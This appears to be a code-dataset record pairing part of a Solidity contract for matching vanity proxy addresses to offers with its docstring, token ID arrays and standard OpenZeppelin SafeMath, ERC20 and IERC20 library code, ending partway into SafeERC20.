uint8 proxy,
bool capitalization,
uint8 searchSpace,
uint8 target
) internal pure returns (bool) {
if (searchSpace == uint8(Condition.NoMatch)) {
return true;
}
if (searchSpace == uint8(Condition.MatchCaseInsensitive)) {
return (proxy == target);
}
if (searchSpace == uint8(Condition.MatchUpperCase)) {
return ((proxy == target) && capitalization);
}
if (searchSpace == uint8(Condition.MatchLowerCase)) {
return ((proxy == target) && !capitalization);
}
if (searchSpace == uint8(Condition.MatchRangeLessThanCaseInsensitive)) {
return (proxy < target);
}
if (searchSpace == uint8(Condition.MatchRangeGreaterThanCaseInsensitive)) {
return (proxy > target);
}
if (searchSpace == uint8(Condition.MatchRangeLessThanUpperCase)) {
return ((proxy < target) && (proxy < 10 || capitalization));
}
if (searchSpace == uint8(Condition.MatchRangeGreaterThanUpperCase)) {
return ((proxy > target) && (proxy < 10 || capitalization));
}
if (searchSpace == uint8(Condition.MatchRangeLessThanLowerCase)) {
return ((proxy < target) && (proxy < 10 || !capitalization));
}
if (searchSpace == uint8(Condition.MatchRangeGreaterThanLowerCase)) {
return ((proxy > target) && (proxy < 10 || !capitalization));
}
if (searchSpace == uint8(Condition.NoMatchNoUpperCase)) {
return !capitalization;
}
if (searchSpace == uint8(Condition.NoMatchNoLowerCase)) {
return (target < 10 || capitalization);
}
}
/* solhint-enable code-complexity */
/**
* @dev Internal function for checking if a particular nibble (half-byte or
* single hex character) meets the condition implied by the associated nibble
* in the search space. Note that this function will return false in the event
* a non-relative condition is passed in as the searchSpace argument; in those
* cases, use _nibbleConditionMet() instead.
* @param proxy uint8 The nibble from the proxy address to check.
* @param capitalization bool Whether or not the nibble is capitalized in the
* checksum of the address.
* @param searchSpace uint8 The nibble to use in determining which areas of
* the target address should be matched against. Each nibble represents a
* different filter condition as indicated by the Condition enum.
* @param prior uint8 The prior nibble from the target address.
* @param priorCapitalization bool Whether or not the nibble immediately
* before the nibble to check is capitalized in the checksum of the address.
* @param initial uint8 The first nibble from the target address.
* @param initialCapitalization bool Whether or not first nibble is
* capitalized in the checksum of the address.
* @return A boolean indicating if the condition has been met.
*/
function _nibbleRelativeConditionMet(
uint8 proxy,
bool capitalization,
uint8 searchSpace,
uint8 prior,
bool priorCapitalization,
uint8 initial,
bool initialCapitalization
) internal pure returns (bool) {
if (searchSpace == uint8(Condition.MatchAgainstPriorCaseInsensitive)) {
return (proxy == prior);
}
if (searchSpace == uint8(Condition.MatchAgainstInitialCaseInsensitive)) {
return (proxy == initial);
}
if (searchSpace == uint8(Condition.MatchAgainstPriorCaseSensitive)) {
return (
(proxy == prior) &&
(capitalization == priorCapitalization)
);
}
if (searchSpace == uint8(Condition.MatchAgainstInitialCaseSensitive)) {
return (
(proxy == initial) &&
(capitalization == initialCapitalization)
);
}
}
/**
* @dev Internal function that ensures that a given proxy was deployed.
* @param proxy address The address of the proxy in question.
*/
function _requireSuccessfulDeployment(address proxy) internal pure {
// ensure that the proxy argument is not equal to the null address.
require(
proxy != address(0),
"Failed to deploy an upgradeable proxy using the provided salt."
);
}
/**
* @dev Internal function to ensure that an offer has not expired.
* @param expiration uint256 The expiration (using epoch time) in question.
*/
function _requireOfferNotExpired(uint256 expiration) internal view {
// ensure that the expiration is 0 (not set) or ahead of the current time.
require(
expiration == 0 || expiration > now, // solhint-disable-line
"Offer has expired and is no longer valid."
);
}
/**
* @dev Internal function to ensure that a proxy matches an offer.
* @param proxy address The address of the proxy in question.
* @param searchSpace bytes20 A sequence of bytes that determines which areas
* of the target address should be matched against. The 0x00 byte means that
* the target byte can be skipped, otherwise each nibble represents a
* different filter condition as indicated by the Condition enum.
* @param target address The targeted address, with each relevant byte and
* nibble determined by the corresponding byte in searchSpace.
*/
function _requireValidMatch(
address proxy,
bytes20 searchSpace,
address target
) internal pure {
// ensure that the constraints of the offer are met.
require(
_matchesOfferConstraints(proxy, searchSpace, target),
"Proxy does not conform to the constraints of the provided offer."
);
}
/**
* @dev Internal function to ensure that an offer was originally supplied by
* the caller.
* @param index uint256 The desired index of the offer in the relevant array.
*/
function _requireOnlyOfferOriginator(uint256 index) internal view {
// ensure that the offer was originally supplied by the caller.
require(
_offers[index].offerer == msg.sender,
"Only the originator of the offer may perform this operation."
);
}
/**
* @dev Internal function to ensure that an offer has valid constraints (i.e.
* the search space and the target do not conflict).
* @param searchSpace bytes20 A sequence of bytes that determines which areas
* of the target address should be matched against. The 0x00 byte means that
* the target byte can be skipped, otherwise each nibble represents a
* different filter condition as indicated by the Condition enum.
* @param target address The targeted address, with each relevant byte and
* nibble determined by the corresponding byte in searchSpace.
*/
function _requireOfferValid(
bytes20 searchSpace,
address target
) internal pure {
// check that a relative condition has not been used in the first item.
_requireNoInitialRelativeCondition(
(uint8(searchSpace[0]) - uint8(searchSpace[0]) % 16) / 16 // first nibble
);
// convert the address to bytes.
bytes20 a = bytes20(target);
// declare variable types.
uint8 leftNibbleSearchSpace;
uint8 rightNibbleSearchSpace;
uint8 leftNibbleTarget;
uint8 rightNibbleTarget;
// iterate over bytes, processing left and right nibble in each iteration.
for (uint256 i; i < a.length; i++) {
// skip bytes in the search space with no match condition.
if (searchSpace[i] == hex"00") continue;
// locate the byte and extract each nibble for search space and target.
rightNibbleSearchSpace = uint8(searchSpace[i]) % 16;
leftNibbleSearchSpace = (
(uint8(searchSpace[i]) - rightNibbleSearchSpace) / 16);
rightNibbleTarget = uint8(a[i]) % 16;
leftNibbleTarget = (uint8(a[i]) - rightNibbleTarget) / 16;
// check left nibble - only need to validate conditions greater than 1.
if (leftNibbleSearchSpace > 1) {
// check that there's not a target on relative or "no-match" conditions.
_requireNoTargetUnlessNeeded(leftNibbleSearchSpace, leftNibbleTarget);
// check that a case isn't specified on a digit target.
_requireNoCaseOnDigit(leftNibbleSearchSpace, leftNibbleTarget);
// check that a case isn't specified on a digit-only range.
_requireNoCaseOnDigitRange(leftNibbleSearchSpace, leftNibbleTarget);
// check that an impossible range isn't specified.
_requireRangeBoundsValid(leftNibbleSearchSpace, leftNibbleTarget);
}
// do the same for the right nibble.
if (rightNibbleSearchSpace > 1) {
_requireNoTargetUnlessNeeded(rightNibbleSearchSpace, rightNibbleTarget);
_requireNoCaseOnDigit(rightNibbleSearchSpace, rightNibbleTarget);
_requireNoCaseOnDigitRange(rightNibbleSearchSpace, rightNibbleTarget);
_requireRangeBoundsValid(rightNibbleSearchSpace, rightNibbleTarget);
}
}
}
/**
* @dev Internal function to ensure that a target is not specified on offers
* with relative conditions or for "no-match" conditions.
* @param searchItem uint8 The nibble from the search space designating the
* condition to check against.
* @param target uint8 The nibble that designates what value to target.
*/
function _requireNoTargetUnlessNeeded(
uint8 searchItem,
uint8 target
) internal pure {
require(
target == 0 || searchItem < 10,
"Cannot specify target for relative or no-match conditions."
);
}
/**
* @dev Internal function to ensure that a capitalization condition isn't
* specified on a digit target.
* @param searchItem uint8 The nibble from the search space designating the
* condition to check against.
* @param target uint8 The nibble that designates what value to target.
*/
function _requireNoCaseOnDigit(uint8 searchItem, uint8 target) internal pure {
if (
target < 10 && (
searchItem == uint8(Condition.MatchUpperCase) ||
searchItem == uint8(Condition.MatchLowerCase)
)
) {
revert("Cannot match upper-case or lower-case against a digit.");
}
}
/**
* @dev Internal function to ensure that a capitalization condition isn't
* specified on a digit-only range.
* @param searchItem uint8 The nibble from the search space designating the
* condition to check against.
* @param target uint8 The nibble that designates what value to target.
*/
function _requireNoCaseOnDigitRange(
uint8 searchItem,
uint8 target
) internal pure {
if (
searchItem > 5 && (
searchItem == uint8(Condition.MatchRangeLessThanUpperCase) ||
searchItem == uint8(Condition.MatchRangeLessThanLowerCase)
) && target < 11
) {
revert("Cannot specify upper-case or lower-case on digit-only range.");
}
}
/**
* @dev Internal function to ensure that an impossible range isn't specified.
* @param searchItem uint8 The nibble from the search space designating the
* condition to check against.
* @param target uint8 The nibble that designates what value to target.
*/
function _requireRangeBoundsValid(
uint8 searchItem,
uint8 target
) internal pure {
if (
searchItem > 3 && (
target == 0 && (
searchItem == uint8(Condition.MatchRangeLessThanCaseInsensitive) ||
searchItem == uint8(Condition.MatchRangeLessThanUpperCase) ||
searchItem == uint8(Condition.MatchRangeLessThanLowerCase)
) || target == 15 && (
searchItem == uint8(Condition.MatchRangeGreaterThanCaseInsensitive) ||
searchItem == uint8(Condition.MatchRangeGreaterThanUpperCase) ||
searchItem == uint8(Condition.MatchRangeGreaterThanLowerCase)
)
)
) {
revert("Cannot specify a range where no values fall within the bounds.");
}
}
/**
* @dev Internal function to ensure that a relative condition has not been
* specified as the first item in the search space.
* @param firstNibble uint8 The first nibble from the search space designating
* the condition to check against.
*/
function _requireNoInitialRelativeCondition(uint8 firstNibble) internal pure {
if (
firstNibble == uint8(Condition.MatchAgainstPriorCaseInsensitive) ||
firstNibble == uint8(Condition.MatchAgainstInitialCaseInsensitive) ||
firstNibble == uint8(Condition.MatchAgainstPriorCaseSensitive) ||
firstNibble == uint8(Condition.MatchAgainstInitialCaseSensitive)
) {
revert("Cannot specify preceding target against initial character.");
}
}
/**
* @dev Modifier to ensure that first 20 bytes of a submitted salt match
* those of the calling account. This provides protection against the salt
* being stolen by frontrunners or other attackers.
* @param salt bytes32 The salt value to check against the calling address.
*/
modifier containsCaller(bytes32 salt) {
// prevent proxy submissions from being stolen from tx.pool by requiring
// that the first 20 bytes of the submitted salt match msg.sender.
require(
address(bytes20(salt)) == msg.sender,
"Invalid salt - first 20 bytes of the salt must match calling address."
);
_;
}
/**
* @dev Modifier that ensures that a given proxy is known and owned by the
* contract. Contracts that become owned by Pr000xy, but were not originally
* created by Pr000xy, must be excluded as they may have changed the proxy's
* state in the meantime.
* @param proxy address The address of the proxy in question.
*/
modifier proxyExists(address proxy) {
// ensure that a proxy exists at the provided address.
require(
_proxyLocations[proxy].exists,
"No proxy found that corresponds to the given address."
);
_;
}
/**
* @dev Modifier that ensures that a given offer is known and owned by the
* contract.
* @param offerID uint256 The ID of the offer in question.
*/
modifier offerExists(uint256 offerID) {
// ensure that the provided offer ID exists.
require(
_offerLocations[offerID].exists,
"No offer found that corresponds to the given offer ID."
);
_;
}
} | * @dev Match an offer to a proxy and claim the amount offered for finding it. Note that this function is susceptible to front-running in current form. @param proxy address The address of the proxy. @param offerID uint256 The ID of the offer to match and fulfill./ remove the offer from storage by index location and place it into memory. ensure that the offer has not expired. check that the match is good. calculate total number of leading and trailing zero bytes, respectively. burn tokens from the claiming address if applicable and emit an event. pop the requested proxy out of the collection by index location. transfer ownership, mark as fulfilled, make payment, and emit an event. | ) external proxyExists(proxy) offerExists(offerID) {
Offer memory offer = _popOfferFrom(_offerLocations[offerID].index);
_requireOfferNotExpired(offer.expiration);
_requireValidMatch(proxy, offer.searchSpace, offer.target);
(uint256 leadingZeroBytes, uint256 totalZeroBytes) = _getZeroBytes(proxy);
_finalizeClaim(
offer.offerer,
proxy,
_getValue(leadingZeroBytes, totalZeroBytes)
);
_popProxyFrom(
leadingZeroBytes,
totalZeroBytes,
_proxyLocations[proxy].index
);
_processOfferFulfillment(proxy, offer);
}
| 1,770,512 | [
1,
2060,
392,
10067,
358,
279,
2889,
471,
7516,
326,
3844,
10067,
329,
364,
13727,
518,
18,
3609,
716,
333,
445,
353,
11375,
956,
1523,
358,
6641,
17,
8704,
316,
783,
646,
18,
225,
2889,
1758,
1021,
1758,
434,
326,
2889,
18,
225,
10067,
734,
2254,
5034,
1021,
1599,
434,
326,
10067,
358,
845,
471,
22290,
18,
19,
1206,
326,
10067,
628,
2502,
635,
770,
2117,
471,
3166,
518,
1368,
3778,
18,
3387,
716,
326,
10067,
711,
486,
7708,
18,
866,
716,
326,
845,
353,
7494,
18,
4604,
2078,
1300,
434,
7676,
471,
7341,
3634,
1731,
16,
19629,
18,
18305,
2430,
628,
326,
7516,
310,
1758,
309,
12008,
471,
3626,
392,
871,
18,
1843,
326,
3764,
2889,
596,
434,
326,
1849,
635,
770,
2117,
18,
7412,
23178,
16,
2267,
487,
16136,
13968,
16,
1221,
5184,
16,
471,
3626,
392,
871,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
262,
3903,
2889,
4002,
12,
5656,
13,
10067,
4002,
12,
23322,
734,
13,
288,
203,
565,
25753,
3778,
10067,
273,
389,
5120,
10513,
1265,
24899,
23322,
10985,
63,
23322,
734,
8009,
1615,
1769,
203,
203,
565,
389,
6528,
10513,
1248,
10556,
12,
23322,
18,
19519,
1769,
203,
203,
565,
389,
6528,
1556,
2060,
12,
5656,
16,
10067,
18,
3072,
3819,
16,
10067,
18,
3299,
1769,
203,
203,
565,
261,
11890,
5034,
7676,
7170,
2160,
16,
2254,
5034,
2078,
7170,
2160,
13,
273,
389,
588,
7170,
2160,
12,
5656,
1769,
203,
203,
565,
389,
30343,
9762,
12,
203,
1377,
10067,
18,
792,
18459,
16,
203,
1377,
2889,
16,
203,
1377,
389,
24805,
12,
27200,
7170,
2160,
16,
2078,
7170,
2160,
13,
203,
565,
11272,
203,
203,
565,
389,
5120,
3886,
1265,
12,
203,
1377,
7676,
7170,
2160,
16,
203,
1377,
2078,
7170,
2160,
16,
203,
1377,
389,
5656,
10985,
63,
5656,
8009,
1615,
203,
565,
11272,
203,
203,
565,
389,
2567,
10513,
23747,
5935,
475,
12,
5656,
16,
10067,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
